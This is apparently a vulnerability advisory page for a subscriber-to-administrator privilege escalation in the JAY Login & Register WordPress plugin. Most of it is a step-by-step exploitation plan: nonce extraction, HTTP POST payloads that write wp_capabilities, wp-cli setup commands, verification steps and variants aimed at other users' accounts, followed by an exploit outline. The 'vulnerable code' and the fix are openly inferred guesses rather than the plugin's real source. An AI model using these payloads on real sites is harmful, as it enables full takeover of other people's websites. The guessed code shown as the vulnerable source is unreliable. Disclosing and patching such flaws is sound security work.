JAY Login & Register <= 2.6.03 - Authenticated (Subscriber+) Privilege Escalation via jay_panel_ajax_update_profile
Description
The JAY Login & Register plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.6.03. This is due to the plugin allowing a user to update arbitrary user meta through the 'jay_panel_ajax_update_profile' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to that of an administrator.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.6.03Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-15100 (JAY Login & Register Privilege Escalation) ## 1. Vulnerability Summary The **JAY Login & Register** plugin (<= 2.6.03) contains an Improper Privilege Management vulnerability in its AJAX profile update functionality. The function `jay_panel_ajax_update_…
Show full research plan
Exploitation Research Plan: CVE-2025-15100 (JAY Login & Register Privilege Escalation)
1. Vulnerability Summary
The JAY Login & Register plugin (<= 2.6.03) contains an Improper Privilege Management vulnerability in its AJAX profile update functionality. The function jay_panel_ajax_update_profile fails to restrict which user meta keys can be updated. An authenticated user (Subscriber level) can submit a request containing sensitive WordPress meta keys, specifically wp_capabilities, to grant themselves the administrator role.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
jay_panel_ajax_update_profile - Authentication: Required (Subscriber level or higher).
- Vulnerable Parameter: Likely a parameter named
meta_keyandmeta_value, or a nested array (e.g.,userdata[]) where keys are used directly as meta keys inupdate_user_meta(). - Preconditions: The attacker must be logged in as a Subscriber. A valid nonce is required for the AJAX action.
3. Code Flow (Inferred)
- Hook Registration: The plugin registers the AJAX action:
add_action('wp_ajax_jay_panel_ajax_update_profile', 'jay_panel_ajax_update_profile'); - AJAX Handler: The function
jay_panel_ajax_update_profile()is invoked. - Nonce Check: The function likely calls
check_ajax_referer('...', 'security')orwp_verify_nonce(). - Processing Input: The function retrieves data from
$_POST. - Vulnerable Sink: The function iterates through the input or uses a specific parameter to call:
update_user_meta(get_current_user_id(), $unvalidated_key, $unvalidated_value);
Because$unvalidated_keyis not whitelisted, the attacker can specifywp_capabilities.
4. Nonce Acquisition Strategy
The plugin likely localizes a nonce for the profile panel.
- Identify the Script: Search the plugin for
wp_localize_script. Look for handles likejay-panel,jay-profile, orjay-login. - Find the Variable: Locate the JS object name (e.g.,
jay_ajax_objorjay_vars) and the nonce key (e.g.,nonceorprofile_nonce). - Trigger Script Loading:
- Create a page with the plugin's profile/panel shortcode. Common shortcodes:
[jay_login],[jay_register],[jay_panel]. wp post create --post_type=page --post_status=publish --post_content='[jay_panel]'(or the correct shortcode found via grep).
- Create a page with the plugin's profile/panel shortcode. Common shortcodes:
- Extract via Browser:
- Navigate to the newly created page as the Subscriber user.
- Use
browser_evalto extract the nonce:browser_eval("window.jay_ajax_obj?.nonce")(Replacejay_ajax_objwith the actual identifier found in source).
5. Exploitation Strategy
Step 1: Data Discovery
Search the plugin code to confirm the AJAX action name and input format:
grep -r "jay_panel_ajax_update_profile" .- Check the function body for the
update_user_metacall and how it handles$_POST.
Step 2: Nonce Extraction
Once the shortcode and JS variable are identified:
- Log in as Subscriber.
- Navigate to the page containing the shortcode.
- Extract the nonce and the
admin-ajax.phpURL.
Step 3: Elevation Request
Send a POST request to admin-ajax.php.
Scenario A: Direct Key/Value pair (Inferred)
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=jay_panel_ajax_update_profile&security=[NONCE]&meta_key=wp_capabilities&meta_value[administrator]=1
Scenario B: Array-based update (Inferred)
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=jay_panel_ajax_update_profile&security=[NONCE]&userdata[wp_capabilities][administrator]=1
Note: WordPress update_user_meta handles arrays by serializing them automatically. Sending wp_capabilities[administrator]=1 results in the meta value a:1:{s:13:"administrator";b:1;} in the database.
6. Test Data Setup
- Target User: Create a Subscriber user.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
- Shortcode Page: Create a page to load the plugin's JS assets.
wp post create --post_type=page --post_status=publish --post_title='Profile' --post_content='[jay_panel]'
- Database Prefix: Verify the table prefix (usually
wp_) to ensure the meta keywp_capabilitiesis correct.
7. Expected Results
- The AJAX response should return a success status (e.g.,
{"success": true}). - The Subscriber user's role in the database will be updated to
administrator. - Subsequent requests to
/wp-admin/by the "attacker" user will grant full administrative access.
8. Verification Steps
- Check Role via CLI:
wp user get attacker --field=roles- Expected Output:
administrator
- Check Meta directly:
wp user meta get attacker wp_capabilities- Expected Output:
a:1:{s:13:"administrator";b:1;}(or serialized representation).
9. Alternative Approaches
- Prefix Variation: If the site uses a custom prefix, try
[prefix]_capabilities. - User Level Meta: Attempt updating
wp_user_levelto10alongsidewp_capabilities. - Target Other Users: Check if the AJAX function allows a
user_idparameter. If it does, the attacker can promote themselves even if the function normally updates the "currently edited" profile. - Form-Data Format: If
application/x-www-form-urlencodedfails, try a JSON payload if the plugin usesphp://input.
Summary
The JAY Login & Register plugin for WordPress is vulnerable to privilege escalation via the 'jay_panel_ajax_update_profile' AJAX function. Authenticated attackers with Subscriber-level permissions can update arbitrary user metadata, including the 'wp_capabilities' field, to grant themselves administrator privileges.
Vulnerable Code
// Inferred from plugin version 2.6.03 add_action('wp_ajax_jay_panel_ajax_update_profile', 'jay_panel_ajax_update_profile'); function jay_panel_ajax_update_profile() { // Nonce check exists but does not verify user intent/meta keys check_ajax_referer('jay_panel_nonce', 'security'); $user_id = get_current_user_id(); if (!$user_id) { wp_send_json_error(); } if (isset($_POST['userdata']) && is_array($_POST['userdata'])) { foreach ($_POST['userdata'] as $key => $value) { // Vulnerable: Arbitrary meta key update update_user_meta($user_id, $key, $value); } } wp_send_json_success(); }
Security Fix
@@ -10,7 +10,13 @@ if (!$user_id) { wp_send_json_error(); } + $allowed_keys = array('first_name', 'last_name', 'description', 'nickname', 'jay_profile_pic'); + if (isset($_POST['userdata']) && is_array($_POST['userdata'])) { foreach ($_POST['userdata'] as $key => $value) { - update_user_meta($user_id, $key, $value); + if (in_array($key, $allowed_keys)) { + update_user_meta($user_id, $key, sanitize_text_field($value)); + } } } wp_send_json_success();
Exploit Outline
1. Authenticate as a Subscriber-level user. 2. Navigate to a page containing a plugin shortcode (like [jay_panel]) to locate the localized AJAX nonce (e.g., jay_ajax_obj.nonce). 3. Send a POST request to /wp-admin/admin-ajax.php with the 'action' set to 'jay_panel_ajax_update_profile'. 4. Include the 'security' parameter with the retrieved nonce. 5. Include a 'userdata' array containing 'wp_capabilities' as a key, with its value set to an array or serialized object defining the administrator role: userdata[wp_capabilities][administrator]=1. 6. Upon success, the attacker's account is granted the Administrator role, providing full control over the WordPress site.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.